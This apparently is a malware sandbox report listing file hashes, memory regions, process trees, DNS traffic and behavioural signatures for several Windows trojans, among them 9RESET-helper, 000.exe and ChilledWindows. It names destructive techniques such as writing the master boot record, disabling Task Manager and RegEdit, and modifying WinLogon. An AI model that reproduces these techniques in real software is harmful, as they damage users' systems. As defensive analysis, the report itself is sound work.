SHA256 dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512 6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

memory/2676-80-0x0000000000110000-0x0000000000118000-memory.dmp

memory/748-81-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/2676-82-0x0000000004E90000-0x0000000005434000-memory.dmp

memory/3592-83-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/748-84-0x0000000005540000-0x00000000055D2000-memory.dmp

memory/2676-85-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/2676-86-0x00000000049C0000-0x00000000049D0000-memory.dmp

memory/748-87-0x0000000005490000-0x00000000054A0000-memory.dmp

memory/3592-88-0x0000000005650000-0x0000000005660000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5 ebfbd478a8cfc0fb645b8559973690cb
SHA1 88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256 62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512 30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/3588-118-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4284-102-0x0000000000D10000-0x0000000000D20000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5 b2eca909a91e1946457a0b36eaf90930
SHA1 3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256 0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512 607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

memory/2388-120-0x0000000073650000-0x0000000073E00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SFC7FCF.tmp.vbs

MD5 c9f89015e169c812c60401d74883575f
SHA1 213bb6cde1d5930dcfa5e5584e42d52c4d160108
SHA256 77ea383219c8c3933d138f10154a1004e89384fa372d38bd6a372f9ba14f5056
SHA512 c75b20a0268d226ea452ba1c956b7c996a84ecfaad372a0b21745b2d466143d0f6536485d70cc4abb10fda8f70c657f027ada2caaeb399fa780ca7c0551b714e

memory/4284-119-0x0000000005760000-0x000000000576A000-memory.dmp

memory/4888-122-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4284-123-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/3736-124-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4108-125-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4424-126-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4460-127-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4512-128-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4796-129-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4984-130-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/3960-131-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4632-132-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/3588-133-0x0000000004F20000-0x0000000004F30000-memory.dmp

memory/3164-134-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/2364-135-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/3928-136-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4284-140-0x0000000005790000-0x00000000057A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5 7fad92afda308dca8acfc6ff45c80c24
SHA1 a7fa35e7f90f772fc943c2e940737a48b654c295
SHA256 76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512 49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

memory/2284-143-0x0000000000400000-0x000000000040D000-memory.dmp

memory/3792-144-0x0000000000400000-0x000000000040E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 908e9673e2042fa83264dd3697b05938
SHA1 4820e77be59c55c4b0193f905550eae101bcec5a
SHA256 d2c98f605bd579d0c31609dddcf2ba0a4165b4ea62f3f414969d27030626c6ae
SHA512 a220201be5c944aa556574294b0565757f230e783dc86d0a3a66abafa224692a8c55b97f5b7c9660052400e27e3b7ef58b479805ac83e75ef63d86c75cf50dc0

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5 8edb51ed1d3241c4f026bb0d5de20f89
SHA1 9453b850f98062c0b3955a58c295a662be605efb
SHA256 c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512 0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5 83726a8767faba50ea1b5f31afef5938
SHA1 70165dcc633f3390d98ae08c731113b007069737
SHA256 e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512 e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 8a7696d03fb78dc2e689fd8871a8477e
SHA1 7b56ac50ba278aae9898187b922b41282e18d50b
SHA256 28dc37162607eee58f2fe04eb3f05fcd15d16a9ca4325a46f71737add1afb530
SHA512 6a6fddaebea531345a9a3758adf50fc77301930ed7d649b19db8e42ff3211e14e6a7846f98ada86a8cd50af4b7316c0423e9cf989a04b375d7c26ed88e99befd

C:\Users\Admin\AppData\Local\Temp\nskAD67.tmp\GetVersion.dll

MD5 dc9562578490df8bc464071f125bfc19
SHA1 56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256 0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512 9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

C:\Users\Admin\AppData\Local\Temp\nskAD67.tmp\LangDLL.dll

MD5 de3558ce305e32f742ff25b697407fec
SHA1 d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256 98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512 7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5 072b51035a457758506c56b3664c0c66
SHA1 bb94305373f963aef82c6f61476d8ae6925585a3
SHA256 23e388a2c761380b0ed0754280b288c34dfb131c53195bcee1467dc80d71533e
SHA512 3d822d54901f452b0b2b22d68da66fabbe201ebe4529267850f11702b78aa324a0fd99ba7ec1b6a581886fc90d2feea0e7b7145aaee92a7e9459d12d0305a423

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5 7fb48df389c7785b50e5341b5a7a363d
SHA1 7c78e8a9a9b0a44508bc94ca51a782df84440cff
SHA256 80e50768e428fa4cfaacce15e49d3cf339afcc68ee6afd285ac62dc537076583
SHA512 5c347dff392a62402e80bac29f6794acdec6d65826e536889fa1d6779e8f2499baa2bf97b8704c4b28ea540756295d50b7c049e95749919c17e14dc97f56e249

memory/1444-169-0x0000000000400000-0x0000000000410000-memory.dmp

memory/3756-170-0x000000006FA10000-0x000000006FA19000-memory.dmp

memory/3592-175-0x0000000073650000-0x0000000073E00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 ea8efbe8077e302836c786a2c3c1f98d
SHA1 6dbb29e048d5d7afbd8587dbe189bdb037b7506a
SHA256 18eca01f8c92c7ff269182cbe7f7b5cb27aaa7ab634eeb30e90a93e6639a67ca
SHA512 a142caea844fb7a696f76097fcdf1510ab5e5b5e7f217a6e05b643934f78db7a794fd8026a5360da807585fa24881ccd7e017ecc3ad5c2acf673c9541cb480bd

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 73f6e5060efef6f832e0e36b91ee1dc5
SHA1 0ae9a0a4984181ceb43ad01a75c106c8bae8b669
SHA256 8ae13b05b060bfb6dbc5bb5cf98aa8611d9ad80b433f0bda97e88dddfb53c8b4
SHA512 536e45c9baae2d3e28f13a0318614b8effcf9660c7143a9a878e46a62b0e408c8b7e25f549160d8fec6cb11a9b12fd52b98a8cc7d9297861a85ed6b0530ccf8f

C:\Users\Admin\AppData\Local\Temp\AF99.tmp\VirusCan.bat

MD5 55dcde25c122c782757989a3c275fea2
SHA1 a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256 3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512 b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/4716-181-0x0000000000940000-0x0000000000DA4000-memory.dmp

memory/4392-182-0x00000000005D0000-0x00000000005D1000-memory.dmp

memory/1444-183-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B0C2.tmp\B0C3.tmp\B0C4.bat

MD5 d03b3332e0eb70b0f9a987cabe089c17
SHA1 7d27ee89e5e7f02544728d9f5d227945eba76e56
SHA256 9f97ce1430fea18a99efb1ad2e09b838dc52ffd2ccf9e5590c173e02cc9a8f88
SHA512 83a7da815aca90fee495ed7ad2ee56e6c480942ffef0cbba6819ae9bc66c5a2a6c76f86a815da9cac42b721fd68cec7e10c38a07178c8a22db3546fad74e28b0

memory/748-185-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/2676-186-0x0000000073650000-0x0000000073E00000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/4716-193-0x00007FFD38850000-0x00007FFD39311000-memory.dmp

memory/4716-199-0x000000001BB10000-0x000000001BB18000-memory.dmp

memory/4716-200-0x000000001BB80000-0x000000001BB90000-memory.dmp

memory/2676-201-0x00000000049C0000-0x00000000049D0000-memory.dmp

memory/748-202-0x0000000005490000-0x00000000054A0000-memory.dmp

memory/3592-203-0x0000000005650000-0x0000000005660000-memory.dmp

memory/4716-204-0x0000000021B00000-0x0000000021B38000-memory.dmp

memory/4716-206-0x000000001D420000-0x000000001D42E000-memory.dmp

memory/3588-205-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/2388-208-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4284-209-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/3736-211-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4716-212-0x000000001BB80000-0x000000001BB90000-memory.dmp

memory/1444-213-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5 c577a44eebcc39c126bf5e167727e951
SHA1 78a17464f66089930b707ba7a59dc0074f473e69
SHA256 cafc0b2ebc3c462e93f0bae0446b9c1f4fc801879afb3003e247f7c9aca081c0
SHA512 223d16dd064d25a70e6796512f9e7fb5e6a0d4c967feffe6028487880c2cfa2f3eba43032152965483b21bc2089d5b934da5e8366745cdde957cb7e21dbbbf3b

C:\Users\Admin\AppData\Local\Temp\Trojan\chilledwindows.mp4

MD5 e816c90cfea202a5ce7e1d47d77d5944
SHA1 13e7c34f464b96d82c8f3486407cc91c790a8977
SHA256 74546d52df759ed676fcb45dcdb2789dd2ac0795743278ec2a167e7889b8336d
SHA512 54e9a85af039a541c7cc144c8f2c1776aa27892aa6e82aff9ee73695719650c84c664ffb13f28c09e9013325c3dc87ccc37a419b67ef19660efb2b7dc42b3541

memory/4888-231-0x0000000073650000-0x0000000073E00000-memory.dmp

memory/4284-233-0x0000000005790000-0x00000000057A0000-memory.dmp

memory/4888-234-0x0000000004F30000-0x0000000004F40000-memory.dmp

memory/3960-235-0x00000000052C0000-0x00000000052D0000-memory.dmp

memory/2388-236-0x0000000004F60000-0x0000000004F70000-memory.dmp

memory/3164-237-0x0000000004EA0000-0x0000000004EB0000-memory.dmp

memory/4284-242-0x0000000005790000-0x00000000057A0000-memory.dmp

memory/3756-246-0x000000006FA10000-0x000000006FA19000-memory.dmp

memory/4716-260-0x00007FFD38850000-0x00007FFD39311000-memory.dmp

memory/3756-261-0x000000006FA10000-0x000000006FA19000-memory.dmp

Analysis: behavioral21

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

122s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2712 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\232A.tmp\232B.tmp\232C.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\232A.tmp\232B.tmp\232C.bat

MD5 ffa0ad441b308bc1da589f8a734e806f
SHA1 704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256 c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512 bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral29

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:31

Platform

win7-20240221-en

Max time kernel

29s

Max time network

41s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2176-0-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2832-1-0x00000000029B0000-0x00000000029B1000-memory.dmp

memory/2108-2-0x0000000002760000-0x0000000002761000-memory.dmp

Analysis: behavioral30

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:31

Platform

win10v2004-20240226-en

Max time kernel

30s

Max time network

62s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "221" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" C:\Windows\system32\LogonUI.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\LogonUI.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa39a4855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
GB 172.217.169.74:443 tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 138.91.171.81:80 tcp
US 8.8.8.8:53 11.179.89.13.in-addr.arpa udp

Files

memory/3536-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

146s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:30

Platform

win10v2004-20240226-en

Max time kernel

3s

Max time network

23s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\Desktop\Wallpaper C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-983155329-280873152-1838004294-1000\{61D4B863-DFFD-4205-8353-457069CA3505} C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
